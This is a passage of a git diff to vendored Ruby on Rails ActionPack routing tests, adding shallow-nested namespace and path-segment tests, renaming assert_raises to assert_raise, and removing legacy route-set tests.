         end
       end
     end
@@ -209,6 +279,14 @@ class ResourcesTest < Test::Unit::TestCase
     end
   end
 
+  def test_with_member_action_and_requirement
+    expected_options = {:controller => 'messages', :action => 'mark', :id => '1.1.1'}
+  
+    with_restful_routing(:messages, :requirements => {:id => /[0-9]\.[0-9]\.[0-9]/}, :member => { :mark => :get }) do
+      assert_recognizes(expected_options, :path => 'messages/1.1.1/mark', :method => :get)
+    end
+  end
+
   def test_member_when_override_paths_for_default_restful_actions_with
     [:put, :post].each do |method|
       with_restful_routing :messages, :member => { :mark => method }, :path_names => {:new => 'nuevo'} do
@@ -316,7 +394,7 @@ class ResourcesTest < Test::Unit::TestCase
       end
 
       assert_restful_named_routes_for :messages, :path_prefix => 'threads/1/', :name_prefix => 'thread_', :options => { :thread_id => '1' } do |options|
-        assert_named_route preview_path, :formatted_preview_new_thread_message_path, preview_options
+        assert_named_route preview_path, :preview_new_thread_message_path, preview_options
       end
     end
   end
@@ -325,7 +403,7 @@ class ResourcesTest < Test::Unit::TestCase
     with_restful_routing :messages do
       assert_restful_routes_for :messages do |options|
         assert_recognizes(options.merge(:action => "new"), :path => "/messages/new", :method => :get)
-        assert_raises(ActionController::MethodNotAllowed) do
+        assert_raise(ActionController::MethodNotAllowed) do
           ActionController::Routing::Routes.recognize_path("/messages/new", :method => :post)
         end
       end
@@ -406,6 +484,34 @@ class ResourcesTest < Test::Unit::TestCase
     end
   end
 
+  def test_shallow_nested_restful_routes_with_namespaces
+    with_routing do |set|
+      set.draw do |map|
+        map.namespace :backoffice do |map|
+          map.namespace :admin do |map|
+            map.resources :products, :shallow => true do |map|
+              map.resources :images
+            end
+          end
+        end
+      end
+
+      assert_simply_restful_for :products,
+        :controller => 'backoffice/admin/products',
+        :namespace => 'backoffice/admin/',
+        :name_prefix => 'backoffice_admin_',
+        :path_prefix => 'backoffice/admin/',
+        :shallow => true
+      assert_simply_restful_for :images,
+        :controller => 'backoffice/admin/images',
+        :namespace => 'backoffice/admin/',
+        :name_prefix => 'backoffice_admin_product_',
+        :path_prefix => 'backoffice/admin/products/1/',
+        :shallow => true,
+        :options => { :product_id => '1' }
+    end
+  end
+
   def test_restful_routes_dont_generate_duplicates
     with_restful_routing :messages do
       routes = ActionController::Routing::Routes.routes
@@ -583,11 +689,11 @@ class ResourcesTest < Test::Unit::TestCase
       options = { :controller => controller_name.to_s }
       collection_path = "/#{controller_name}"
 
-      assert_raises(ActionController::MethodNotAllowed) do
+      assert_raise(ActionController::MethodNotAllowed) do
         assert_recognizes(options.merge(:action => 'update'), :path => collection_path, :method => :put)
       end
 
-      assert_raises(ActionController::MethodNotAllowed) do
+      assert_raise(ActionController::MethodNotAllowed) do
         assert_recognizes(options.merge(:action => 'destroy'), :path => collection_path, :method => :delete)
       end
     end
@@ -596,7 +702,7 @@ class ResourcesTest < Test::Unit::TestCase
   def test_should_not_allow_invalid_head_method_for_member_routes
     with_routing do |set|
       set.draw do |map|
-        assert_raises(ArgumentError) do
+        assert_raise(ArgumentError) do
           map.resources :messages, :member => {:something => :head}
         end
       end
@@ -606,7 +712,7 @@ class ResourcesTest < Test::Unit::TestCase
   def test_should_not_allow_invalid_http_methods_for_member_routes
     with_routing do |set|
       set.draw do |map|
-        assert_raises(ArgumentError) do
+        assert_raise(ArgumentError) do
           map.resources :messages, :member => {:something => :invalid}
         end
       end
@@ -750,9 +856,17 @@ class ResourcesTest < Test::Unit::TestCase
   end
 
   def test_with_path_segment
-    with_restful_routing :messages, :as => 'reviews' do
-      assert_simply_restful_for :messages, :as => 'reviews'
+    with_restful_routing :messages do
+      assert_simply_restful_for :messages
+      assert_recognizes({:controller => "messages", :action => "index"}, "/messages")
+      assert_recognizes({:controller => "messages", :action => "index"}, "/messages/")
     end
+
+     with_restful_routing :messages, :as => 'reviews' do
+       assert_simply_restful_for :messages, :as => 'reviews'
+      assert_recognizes({:controller => "messages", :action => "index"}, "/reviews")
+      assert_recognizes({:controller => "messages", :action => "index"}, "/reviews/")
+     end
   end
 
   def test_multiple_with_path_segment_and_controller
@@ -942,19 +1056,6 @@ class ResourcesTest < Test::Unit::TestCase
     end
   end
 
-  def test_nested_resource_inherits_only_show_action
-    with_routing do |set|
-      set.draw do |map|
-        map.resources :products, :only => :show do |product|
-          product.resources :images
-        end
-      end
-
-      assert_resource_allowed_routes('images', { :product_id => '1' },                    { :id => '2' }, :show, [:index, :new, :create, :edit, :update, :destroy], 'products/1/images')
-      assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' },  { :id => '2' }, :show, [:index, :new, :create, :edit, :update, :destroy], 'products/1/images')
-    end
-  end
-
   def test_nested_resource_has_only_show_and_member_action
     with_routing do |set|
       set.draw do |map|
@@ -971,7 +1072,7 @@ class ResourcesTest < Test::Unit::TestCase
     end
   end
 
-  def test_nested_resource_ignores_only_option
+  def test_nested_resource_does_not_inherit_only_option
     with_routing do |set|
       set.draw do |map|
         map.resources :products, :only => :show do |product|
@@ -984,7 +1085,20 @@ class ResourcesTest < Test::Unit::TestCase
     end
   end
 
-  def test_nested_resource_ignores_except_option
+  def test_nested_resource_does_not_inherit_only_option_by_default
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :products, :only => :show do |product|
+          product.resources :images
+        end
+      end
+
+      assert_resource_allowed_routes('images', { :product_id => '1' },                    { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destory], [], 'products/1/images')
+      assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' },  { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
+    end
+  end
+
+  def test_nested_resource_does_not_inherit_except_option
     with_routing do |set|
       set.draw do |map|
         map.resources :products, :except => :show do |product|
@@ -997,6 +1111,29 @@ class ResourcesTest < Test::Unit::TestCase
     end
   end
 
+  def test_nested_resource_does_not_inherit_except_option_by_default
+    with_routing do |set|
+      set.draw do |map|
+        map.resources :products, :except => :show do |product|
+          product.resources :images
+        end
+      end
+
+      assert_resource_allowed_routes('images', { :product_id => '1' },                    { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
+      assert_resource_allowed_routes('images', { :product_id => '1', :format => 'xml' },  { :id => '2' }, [:index, :new, :create, :show, :edit, :update, :destroy], [], 'products/1/images')
+    end
+  end
+
+  def test_default_singleton_restful_route_uses_get
+    with_routing do |set|
+      set.draw do |map|
+        map.resource :product
+      end
+
+      assert_equal :get, set.named_routes.routes[:product].conditions[:method]
+    end
+  end
+
   protected
     def with_restful_routing(*args)
       with_routing do |set|
@@ -1043,7 +1180,7 @@ class ResourcesTest < Test::Unit::TestCase
 
       path                       = "#{options[:as] || controller_name}"
       collection_path            = "/#{options[:path_prefix]}#{path}"
-      shallow_path               = "/#{options[:path_prefix] unless options[:shallow]}#{path}"
+      shallow_path               = "/#{options[:shallow] ? options[:namespace] : options[:path_prefix]}#{path}"
       member_path                = "#{shallow_path}/1"
       new_path                   = "#{collection_path}/#{new_action}"
       edit_member_path           = "#{member_path}/#{edit_action}"
@@ -1107,10 +1244,10 @@ class ResourcesTest < Test::Unit::TestCase
       options[:options].delete :action
 
       path = "#{options[:as] || controller_name}"
-      shallow_path = "/#{options[:path_prefix] unless options[:shallow]}#{path}"
+      shallow_path = "/#{options[:shallow] ? options[:namespace] : options[:path_prefix]}#{path}"
       full_path = "/#{options[:path_prefix]}#{path}"
       name_prefix = options[:name_prefix]
-      shallow_prefix = "#{options[:name_prefix] unless options[:shallow]}"
+      shallow_prefix = options[:shallow] ? options[:namespace].try(:gsub, /\//, '_') : options[:name_prefix]
 
       new_action  = "new"
       edit_action = "edit"
@@ -1120,14 +1257,14 @@ class ResourcesTest < Test::Unit::TestCase
       end
 
       assert_named_route "#{full_path}", "#{name_prefix}#{controller_name}_path", options[:options]
-      assert_named_route "#{full_path}.xml", "formatted_#{name_prefix}#{controller_name}_path", options[:options].merge(:format => 'xml')
+      assert_named_route "#{full_path}.xml", "#{name_prefix}#{controller_name}_path", options[:options].merge(:format => 'xml')
       assert_named_route "#{shallow_path}/1", "#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1')
-      assert_named_route "#{shallow_path}/1.xml", "formatted_#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1', :format => 'xml')
+      assert_named_route "#{shallow_path}/1.xml", "#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1', :format => 'xml')
 
       assert_named_route "#{full_path}/#{new_action}", "new_#{name_prefix}#{singular_name}_path", options[:options]
-      assert_named_route "#{full_path}/#{new_action}.xml", "formatted_new_#{name_prefix}#{singular_name}_path", options[:options].merge(:format => 'xml')
+      assert_named_route "#{full_path}/#{new_action}.xml", "new_#{name_prefix}#{singular_name}_path", options[:options].merge(:format => 'xml')
       assert_named_route "#{shallow_path}/1/#{edit_action}", "edit_#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1')
-      assert_named_route "#{shallow_path}/1/#{edit_action}.xml", "formatted_edit_#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1', :format => 'xml')
+      assert_named_route "#{shallow_path}/1/#{edit_action}.xml", "edit_#{shallow_prefix}#{singular_name}_path", options[:shallow_options].merge(:id => '1', :format => 'xml')
 
       yield options[:options] if block_given?
     end
@@ -1179,12 +1316,12 @@ class ResourcesTest < Test::Unit::TestCase
       name_prefix = options[:name_prefix]
 
       assert_named_route "#{full_path}",          "#{name_prefix}#{singleton_name}_path",                options[:options]
-      assert_named_route "#{full_path}.xml",      "formatted_#{name_prefix}#{singleton_name}_path",      options[:options].merge(:format => 'xml')
+      assert_named_route "#{full_path}.xml",      "#{name_prefix}#{singleton_name}_path",      options[:options].merge(:format => 'xml')
 
       assert_named_route "#{full_path}/new",      "new_#{name_prefix}#{singleton_name}_path",            options[:options]
-      assert_named_route "#{full_path}/new.xml",  "formatted_new_#{name_prefix}#{singleton_name}_path",  options[:options].merge(:format => 'xml')
+      assert_named_route "#{full_path}/new.xml",  "new_#{name_prefix}#{singleton_name}_path",  options[:options].merge(:format => 'xml')
       assert_named_route "#{full_path}/edit",     "edit_#{name_prefix}#{singleton_name}_path",           options[:options]
-      assert_named_route "#{full_path}/edit.xml", "formatted_edit_#{name_prefix}#{singleton_name}_path", options[:options].merge(:format => 'xml')
+      assert_named_route "#{full_path}/edit.xml", "edit_#{name_prefix}#{singleton_name}_path", options[:options].merge(:format => 'xml')
     end
 
     def assert_named_route(expected, route, options)
@@ -1240,7 +1377,7 @@ class ResourcesTest < Test::Unit::TestCase
     end
 
     def assert_not_recognizes(expected_options, path)
-      assert_raise ActionController::RoutingError, ActionController::MethodNotAllowed, Test::Unit::AssertionFailedError do
+      assert_raise ActionController::RoutingError, ActionController::MethodNotAllowed, Assertion do
         assert_recognizes(expected_options, path)
       end
     end
diff --git a/vendor/rails/actionpack/test/controller/routing_test.rb b/vendor/rails/actionpack/test/controller/routing_test.rb
index b8a143cf..81b015b7 100644
--- a/vendor/rails/actionpack/test/controller/routing_test.rb
+++ b/vendor/rails/actionpack/test/controller/routing_test.rb
@@ -1,6 +1,6 @@
 require 'abstract_unit'
 require 'controller/fake_controllers'
-require 'action_controller/routing'
+require 'action_controller/routing/route_set'
 
 class MilestonesController < ActionController::Base
   def index() head :ok end
@@ -107,7 +107,11 @@ class StaticSegmentTest < Test::Unit::TestCase
   end
 end
 
-class DynamicSegmentTest < Test::Unit::TestCase
+class DynamicSegmentTest < ActiveSupport::TestCase
+  def setup
+    @segment = nil
+  end
+
   def segment(options = {})
     unless @segment
       @segment = ROUTING::DynamicSegment.new(:a, options)
@@ -220,7 +224,7 @@ class DynamicSegmentTest < Test::Unit::TestCase
     a_value = nil
 
     # Local jump because of return inside eval.
-    assert_raises(LocalJumpError) { eval(segment.extraction_code) }
+    assert_raise(LocalJumpError) { eval(segment.extraction_code) }
   end
 
   def test_extraction_code_should_return_on_mismatch
@@ -230,7 +234,7 @@ class DynamicSegmentTest < Test::Unit::TestCase
     a_value = nil
 
     # Local jump because of return inside eval.
-    assert_raises(LocalJumpError) { eval(segment.extraction_code) }
+    assert_raise(LocalJumpError) { eval(segment.extraction_code) }
   end
 
   def test_extraction_code_should_accept_value_and_set_local
@@ -341,6 +345,34 @@ class ControllerSegmentTest < Test::Unit::TestCase
   end
 end
 
+class PathSegmentTest < ActiveSupport::TestCase
+  def setup
+    @segment = nil
+  end
+
+  def segment(options = {})
+    unless @segment
+      @segment = ROUTING::PathSegment.new(:path, options)
+    end
+    @segment
+  end
+
+  def test_regexp_chunk_should_return_string
+    segment = segment(:regexp => /[a-z]+/)
+    assert_kind_of String, segment.regexp_chunk
+  end
+
+  def test_regexp_chunk_should_be_wrapped_with_parenthesis
+    segment = segment(:regexp => /[a-z]+/)
+    assert_equal "([a-z]+)", segment.regexp_chunk
+  end
+
+  def test_regexp_chunk_should_respect_options
+    segment = segment(:regexp => /[a-z]+/i)
+    assert_equal "((?i-mx:[a-z]+))", segment.regexp_chunk
+  end
+end
+
 class RouteBuilderTest < Test::Unit::TestCase
   def builder
     @builder ||= ROUTING::RouteBuilder.new
@@ -471,7 +503,7 @@ class RouteBuilderTest < Test::Unit::TestCase
     defaults = {:action => 'buy', :person => nil, :car => nil}
     requirements = {:person => /\w+/, :car => /^\w+$/}
 
-    assert_raises ArgumentError do
+    assert_raise ArgumentError do
       route_requirements = builder.assign_route_options(segments, defaults, requirements)
     end
 
@@ -692,1773 +724,1868 @@ class RoutingTest < Test::Unit::TestCase
   end
 end
 
-uses_mocha 'LegacyRouteSet, Route, RouteSet and RouteLoading' do
-  class MockController
-    attr_accessor :routes
+class MockController
+  attr_accessor :routes
 
-    def initialize(routes)
-      self.routes = routes
-    end
-
-    def url_for(options)
-      only_path = options.delete(:only_path)
-
-      port        = options.delete(:port) || 80
-      port_string = port == 80 ? '' : ":#{port}"
-
-      protocol = options.delete(:protocol) || "http"
-      host     = options.delete(:host) || "named.route.test"
-      anchor   = "##{options.delete(:anchor)}" if options.key?(:anchor)
-
-      path = routes.generate(options)
-
-      only_path ? "#{path}#{anchor}" : "#{protocol}://#{host}#{port_string}#{path}#{anchor}"
-    end
-
-    def request
-      @request ||= MockRequest.new(:host => "named.route.test", :method => :get)
-    end
+  def initialize(routes)
+    self.routes = routes
   end
 
-  class MockRequest
-    attr_accessor :path, :path_parameters, :host, :subdomains, :domain, :method
+  def url_for(options)
+    only_path = options.delete(:only_path)
 
-    def initialize(values={})
-      values.each { |key, value| send("#{key}=", value) }
-      if values[:host]
-        subdomain, self.domain = values[:host].split(/\./, 2)
-        self.subdomains = [subdomain]
-      end
-    end
+    port        = options.delete(:port) || 80
+    port_string = port == 80 ? '' : ":#{port}"
 
-    def protocol
-      "http://"
-    end
+    protocol = options.delete(:protocol) || "http"
+    host     = options.delete(:host) || "test.host"
+    anchor   = "##{options.delete(:anchor)}" if options.key?(:anchor)
 
-    def host_with_port
-      (subdomains * '.') + '.' +  domain
-    end
+    path = routes.generate(options)
+
+    only_path ? "#{path}#{anchor}" : "#{protocol}://#{host}#{port_string}#{path}#{anchor}"
   end
 
-  class LegacyRouteSetTests < Test::Unit::TestCase
-    attr_reader :rs
-
-    def setup
-      # These tests assume optimisation is on, so re-enable it.
-      ActionController::Base.optimise_named_routes = true
-
-      @rs = ::ActionController::Routing::RouteSet.new
-      @rs.draw {|m| m.connect ':controller/:action/:id' }
-
-      ActionController::Routing.use_controllers! %w(content admin/user admin/news_feed)
-    end
-
-    def test_default_setup
-      assert_equal({:controller => "content", :action => 'index'}, rs.recognize_path("/content"))
-      assert_equal({:controller => "content", :action => 'list'}, rs.recognize_path("/content/list"))
-      assert_equal({:controller => "content", :action => 'show', :id => '10'}, rs.recognize_path("/content/show/10"))
-
-      assert_equal({:controller => "admin/user", :action => 'show', :id => '10'}, rs.recognize_path("/admin/user/show/10"))
-
-      assert_equal '/admin/user/show/10', rs.generate(:controller => 'admin/user', :action => 'show', :id => 10)
-
-      assert_equal '/admin/user/show', rs.generate({:action => 'show'}, {:controller => 'admin/user', :action => 'list', :id => '10'})
-      assert_equal '/admin/user/list/10', rs.generate({}, {:controller => 'admin/user', :action => 'list', :id => '10'})
-
-      assert_equal '/admin/stuff', rs.generate({:controller => 'stuff'}, {:controller => 'admin/user', :action => 'list', :id => '10'})
-      assert_equal '/stuff', rs.generate({:controller => '/stuff'}, {:controller => 'admin/user', :action => 'list', :id => '10'})
-    end
-
-    def test_ignores_leading_slash
-      @rs.draw {|m| m.connect '/:controller/:action/:id'}
-      test_default_setup
-    end
-
-    def test_time_recognition
-      # We create many routes to make situation more realistic
-      @rs = ::ActionController::Routing::RouteSet.new
-      @rs.draw { |map|
-        map.frontpage '', :controller => 'search', :action => 'new'
-        map.resources :videos do |video|
-          video.resources :comments
-          video.resource  :file,      :controller => 'video_file'
-          video.resource  :share,     :controller => 'video_shares'
-          video.resource  :abuse,     :controller => 'video_abuses'
-        end
-        map.resources :abuses, :controller => 'video_abuses'
-        map.resources :video_uploads
-        map.resources :video_visits
-
-        map.resources :users do |user|
-          user.resource  :settings
-          user.resources :videos
-        end
-        map.resources :channels do |channel|
-          channel.resources :videos, :controller => 'channel_videos'
-        end
-        map.resource  :session
-        map.resource  :lost_password
-        map.search    'search', :controller => 'search'
-        map.resources :pages
-        map.connect ':controller/:action/:id'
-      }
-      n = 1000
-      if RunTimeTests
-        GC.start
-        rectime = Benchmark.realtime do
-          n.times do
-            rs.recognize_path("/videos/1234567", {:method => :get})
-            rs.recognize_path("/videos/1234567/abuse", {:method => :get})
-            rs.recognize_path("/users/1234567/settings", {:method => :get})
-            rs.recognize_path("/channels/1234567", {:method => :get})
-            rs.recognize_path("/session/new", {:method => :get})
-            rs.recognize_path("/admin/user/show/10", {:method => :get})
-          end
-        end
-        puts "\n\nRecognition (#{rs.routes.size} routes):"
-        per_url = rectime / (n * 6)
-        puts "#{per_url * 1000} ms/url"
-        puts "#{1 / per_url} url/s\n\n"
-      end
-    end
-
-    def test_time_generation
-      n = 5000
-      if RunTimeTests
-        GC.start
-        pairs = [
-          [{:controller => 'content', :action => 'index'}, {:controller => 'content', :action => 'show'}],
-          [{:controller => 'content'}, {:controller => 'content', :action => 'index'}],
-          [{:controller => 'content', :action => 'list'}, {:controller => 'content', :action => 'index'}],
-          [{:controller => 'content', :action => 'show', :id => '10'}, {:controller => 'content', :action => 'list'}],
-          [{:controller => 'admin/user', :action => 'index'}, {:controller => 'admin/user', :action => 'show'}],
-          [{:controller => 'admin/user'}, {:controller => 'admin/user', :action => 'index'}],
-          [{:controller => 'admin/user', :action => 'list'}, {:controller => 'admin/user', :action => 'index'}],
-          [{:controller => 'admin/user', :action => 'show', :id => '10'}, {:controller => 'admin/user', :action => 'list'}],
-        ]
-        p = nil
-        gentime = Benchmark.realtime do
-          n.times do
-          pairs.each {|(a, b)| rs.generate(a, b)}
-          end
-        end
-
-        puts "\n\nGeneration (RouteSet): (#{(n * 8)} urls)"
-        per_url = gentime / (n * 8)
-        puts "#{per_url * 1000} ms/url"
-        puts "#{1 / per_url} url/s\n\n"
-      end
-    end
-
-    def test_route_with_colon_first
-      rs.draw do |map|
-        map.connect '/:controller/:action/:id', :action => 'index', :id => nil
-        map.connect ':url', :controller => 'tiny_url', :action => 'translate'
-      end
-    end
-
-    def test_route_with_regexp_for_controller
-      rs.draw do |map|
-        map.connect ':controller/:admintoken/:action/:id', :controller => /admin\/.+/
-        map.connect ':controller/:action/:id'
-      end
-      assert_equal({:controller => "admin/user", :admintoken => "foo", :action => "index"},
-          rs.recognize_path("/admin/user/foo"))
-      assert_equal({:controller => "content", :action => "foo"}, rs.recognize_path("/content/foo"))
-      assert_equal '/admin/user/foo', rs.generate(:controller => "admin/user", :admintoken => "foo", :action => "index")
-      assert_equal '/content/foo', rs.generate(:controller => "content", :action => "foo")
-    end
-
-    def test_route_with_regexp_and_dot
-      rs.draw do |map|
-        map.connect ':controller/:action/:file',
-                          :controller => /admin|user/,
-                          :action => /upload|download/,
-                          :defaults => {:file => nil},
-                          :requirements => {:file => %r{[^/]+(\.[^/]+)?}}
-      end
-      # Without a file extension
-      assert_equal '/user/download/file',
-        rs.generate(:controller => "user", :action => "download", :file => "file")
-      assert_equal(
-        {:controller => "user", :action => "download", :file => "file"},
-        rs.recognize_path("/user/download/file"))
-
-      # Now, let's try a file with an extension, really a dot (.)
-      assert_equal '/user/download/file.jpg',
-        rs.generate(
-          :controller => "user", :action => "download", :file => "file.jpg")
-      assert_equal(
-        {:controller => "user", :action => "download", :file => "file.jpg"},
-        rs.recognize_path("/user/download/file.jpg"))
-    end
-
-    def test_basic_named_route
-      rs.add_named_route :home, '', :controller => 'content', :action => 'list'
-      x = setup_for_named_route
-      assert_equal("http://named.route.test/",
-                   x.send(:home_url))
-    end
-
-    def test_basic_named_route_with_relative_url_root
-      rs.add_named_route :home, '', :controller => 'content', :action => 'list'
-      x = setup_for_named_route
-      ActionController::Base.relative_url_root = "/foo"
-      assert_equal("http://named.route.test/foo/",
-                   x.send(:home_url))
-      assert_equal "/foo/", x.send(:home_path)
-      ActionController::Base.relative_url_root = nil
-    end
-
-    def test_named_route_with_option
-      rs.add_named_route :page, 'page/:title', :controller => 'content', :action => 'show_page'
-      x = setup_for_named_route
-      assert_equal("http://named.route.test/page/new%20stuff",
-                   x.send(:page_url, :title => 'new stuff'))
-    end
-
-    def test_named_route_with_default
-      rs.add_named_route :page, 'page/:title', :controller => 'content', :action => 'show_page', :title => 'AboutPage'
-      x = setup_for_named_route
-      assert_equal("http://named.route.test/page/AboutRails",
-                   x.send(:page_url, :title => "AboutRails"))
-
-    end
-
-    def test_named_route_with_name_prefix
-      rs.add_named_route :page, 'page', :controller => 'content', :action => 'show_page', :name_prefix => 'my_'
-      x = setup_for_named_route
-      assert_equal("http://named.route.test/page",
-                   x.send(:my_page_url))
-    end
-
-    def test_named_route_with_path_prefix
-      rs.add_named_route :page, 'page', :controller => 'content', :action => 'show_page', :path_prefix => 'my'
-      x = setup_for_named_route
-      assert_equal("http://named.route.test/my/page",
-                   x.send(:page_url))
-    end
-
-    def test_named_route_with_nested_controller
-      rs.add_named_route :users, 'admin/user', :controller => 'admin/user', :action => 'index'
-      x = setup_for_named_route
-      assert_equal("http://named.route.test/admin/user",
-                   x.send(:users_url))
-    end
-
-    def test_optimised_named_route_call_never_uses_url_for
-      rs.add_named_route :users, 'admin/user', :controller => '/admin/user', :action => 'index'
-      rs.add_named_route :user, 'admin/user/:id', :controller=>'/admin/user', :action=>'show'
-      x = setup_for_named_route
-      x.expects(:url_for).never
-      x.send(:users_url)
-      x.send(:users_path)
-      x.send(:user_url, 2, :foo=>"bar")
-      x.send(:user_path, 3, :bar=>"foo")
-    end
-
-    def test_optimised_named_route_with_host
-      rs.add_named_route :pages, 'pages', :controller => 'content', :action => 'show_page', :host => 'foo.com'
-      x = setup_for_named_route
-      x.expects(:url_for).with(:host => 'foo.com', :only_path => false, :controller => 'content', :action => 'show_page', :use_route => :pages).once
-      x.send(:pages_url)
-    end
-
-    def setup_for_named_route
-      klass = Class.new(MockController)
-      rs.install_helpers(klass)
-      klass.new(rs)
-    end
-
-    def test_named_route_without_hash
-      rs.draw do |map|
-        map.normal ':controller/:action/:id'
-      end
-    end
-
-    def test_named_route_root
-      rs.draw do |map|
-        map.root :controller => "hello"
-      end
-      x = setup_for_named_route
-      assert_equal("http://named.route.test/", x.send(:root_url))
-      assert_equal("/", x.send(:root_path))
-    end
-
-    def test_named_route_with_regexps
-      rs.draw do |map|
-        map.article 'page/:year/:month/:day/:title', :controller => 'page', :action => 'show',
-          :year => /\d+/, :month => /\d+/, :day => /\d+/
-        map.connect ':controller/:action/:id'
-      end
-      x = setup_for_named_route
-      # assert_equal(
-      #   {:controller => 'page', :action => 'show', :title => 'hi', :use_route => :article, :only_path => false},
-      #   x.send(:article_url, :title => 'hi')
-      # )
-      assert_equal(
-        "http://named.route.test/page/2005/6/10/hi",
-        x.send(:article_url, :title => 'hi', :day => 10, :year => 2005, :month => 6)
-      )
-    end
-
-    def test_changing_controller
-      assert_equal '/admin/stuff/show/10', rs.generate(
-        {:controller => 'stuff', :action => 'show', :id => 10},
-        {:controller => 'admin/user', :action => 'index'}
-      )
-    end
-
-    def test_paths_escaped
-      rs.draw do |map|
-        map.path 'file/*path', :controller => 'content', :action => 'show_file'
-        map.connect ':controller/:action/:id'
-      end
-
-      # No + to space in URI escaping, only for query params.
-      results = rs.recognize_path "/file/hello+world/how+are+you%3F"
-      assert results, "Recognition should have succeeded"
-      assert_equal ['hello+world', 'how+are+you?'], results[:path]
-
-      # Use %20 for space instead.
-      results = rs.recognize_path "/file/hello%20world/how%20are%20you%3F"
-      assert results, "Recognition should have succeeded"
-      assert_equal ['hello world', 'how are you?'], results[:path]
-
-      results = rs.recognize_path "/file"
-      assert results, "Recognition should have succeeded"
-      assert_equal [], results[:path]
-    end
-
-    def test_paths_slashes_unescaped_with_ordered_parameters
-      rs.add_named_route :path, '/file/*path', :controller => 'content'
-
-      # No / to %2F in URI, only for query params.
-      x = setup_for_named_route
-      assert_equal("/file/hello/world", x.send(:path_path, 'hello/world'))
-    end
-
-    def test_non_controllers_cannot_be_matched
-      rs.draw do |map|
-        map.connect ':controller/:action/:id'
-      end
-      assert_raises(ActionController::RoutingError) { rs.recognize_path("/not_a/show/10") }
-    end
-
-    def test_paths_do_not_accept_defaults
-      assert_raises(ActionController::RoutingError) do
-        rs.draw do |map|
-          map.path 'file/*path', :controller => 'content', :action => 'show_file', :path => %w(fake default)
-          map.connect ':controller/:action/:id'
-        end
-      end
-
-      rs.draw do |map|
-        map.path 'file/*path', :controller => 'content', :action => 'show_file', :path => []
-        map.connect ':controller/:action/:id'
-      end
-    end
-
-    def test_should_list_options_diff_when_routing_requirements_dont_match
-      rs.draw do |map|
-        map.post 'post/:id', :controller=> 'post', :action=> 'show', :requirements => {:id => /\d+/}
-      end
-      exception = assert_raise(ActionController::RoutingError) { rs.generate(:controller => 'post', :action => 'show', :bad_param => "foo", :use_route => "post") }
-      assert_match /^post_url failed to generate/, exception.message
-      from_match = exception.message.match(/from \{[^\}]+\}/).to_s
-      assert_match /:bad_param=>"foo"/,   from_match
-      assert_match /:action=>"show"/,     from_match
-      assert_match /:controller=>"post"/, from_match
-
-      expected_match = exception.message.match(/expected: \{[^\}]+\}/).to_s
-      assert_no_match /:bad_param=>"foo"/,   expected_match
-      assert_match    /:action=>"show"/,     expected_match
-      assert_match    /:controller=>"post"/, expected_match
-
-      diff_match = exception.message.match(/diff: \{[^\}]+\}/).to_s
-      assert_match    /:bad_param=>"foo"/,   diff_match
-      assert_no_match /:action=>"show"/,     diff_match
-      assert_no_match /:controller=>"post"/, diff_match
-    end
-
-    # this specifies the case where your formerly would get a very confusing error message with an empty diff
-    def test_should_have_better_error_message_when_options_diff_is_empty
-      rs.draw do |map|
-        map.content '/content/:query', :controller => 'content', :action => 'show'
-      end
-
-      exception = assert_raise(ActionController::RoutingError) { rs.generate(:controller => 'content', :action => 'show', :use_route => "content") }
-      assert_match %r[:action=>"show"], exception.message
-      assert_match %r[:controller=>"content"], exception.message
-      assert_match %r[you may have ambiguous routes, or you may need to supply additional parameters for this route], exception.message
-      assert_match %r[content_url has the following required parameters: \["content", :query\] - are they all satisfied?], exception.message
-    end
-
-    def test_dynamic_path_allowed
-      rs.draw do |map|
-        map.connect '*path', :controller => 'content', :action => 'show_file'
-      end
-
-      assert_equal '/pages/boo', rs.generate(:controller => 'content', :action => 'show_file', :path => %w(pages boo))
-    end
-
-    def test_dynamic_recall_paths_allowed
-      rs.draw do |map|
-        map.connect '*path', :controller => 'content', :action => 'show_file'
-      end
-
-      recall_path = ActionController::Routing::PathSegment::Result.new(%w(pages boo))
-      assert_equal '/pages/boo', rs.generate({}, :controller => 'content', :action => 'show_file', :path => recall_path)
-    end
-
-    def test_backwards
-      rs.draw do |map|
-        map.connect 'page/:id/:action', :controller => 'pages', :action => 'show'
-        map.connect ':controller/:action/:id'
-      end
-
-      assert_equal '/page/20', rs.generate({:id => 20}, {:controller => 'pages', :action => 'show'})
-      assert_equal '/page/20', rs.generate(:controller => 'pages', :id => 20, :action => 'show')
-      assert_equal '/pages/boo', rs.generate(:controller => 'pages', :action => 'boo')
-    end
-
-    def test_route_with_fixnum_default
-      rs.draw do |map|
-        map.connect 'page/:id', :controller => 'content', :action => 'show_page', :id => 1
-        map.connect ':controller/:action/:id'
-      end
-
-      assert_equal '/page', rs.generate(:controller => 'content', :action => 'show_page')
-      assert_equal '/page', rs.generate(:controller => 'content', :action => 'show_page', :id => 1)
-      assert_equal '/page', rs.generate(:controller => 'content', :action => 'show_page', :id => '1')
-      assert_equal '/page/10', rs.generate(:controller => 'content', :action => 'show_page', :id => 10)
-
-      assert_equal({:controller => "content", :action => 'show_page', :id => '1'}, rs.recognize_path("/page"))
-      assert_equal({:controller => "content", :action => 'show_page', :id => '1'}, rs.recognize_path("/page/1"))
-      assert_equal({:controller => "content", :action => 'show_page', :id => '10'}, rs.recognize_path("/page/10"))
-    end
-
-    # For newer revision
-    def test_route_with_text_default
-      rs.draw do |map|
-        map.connect 'page/:id', :controller => 'content', :action => 'show_page', :id => 1
-        map.connect ':controller/:action/:id'
-      end
-
-      assert_equal '/page/foo', rs.generate(:controller => 'content', :action => 'show_page', :id => 'foo')
-      assert_equal({:controller => "content", :action => 'show_page', :id => 'foo'}, rs.recognize_path("/page/foo"))
-
-      token = "\321\202\320\265\320\272\321\201\321\202" # 'text' in russian
-      escaped_token = CGI::escape(token)
-
-      assert_equal '/page/' + escaped_token, rs.generate(:controller => 'content', :action => 'show_page', :id => token)
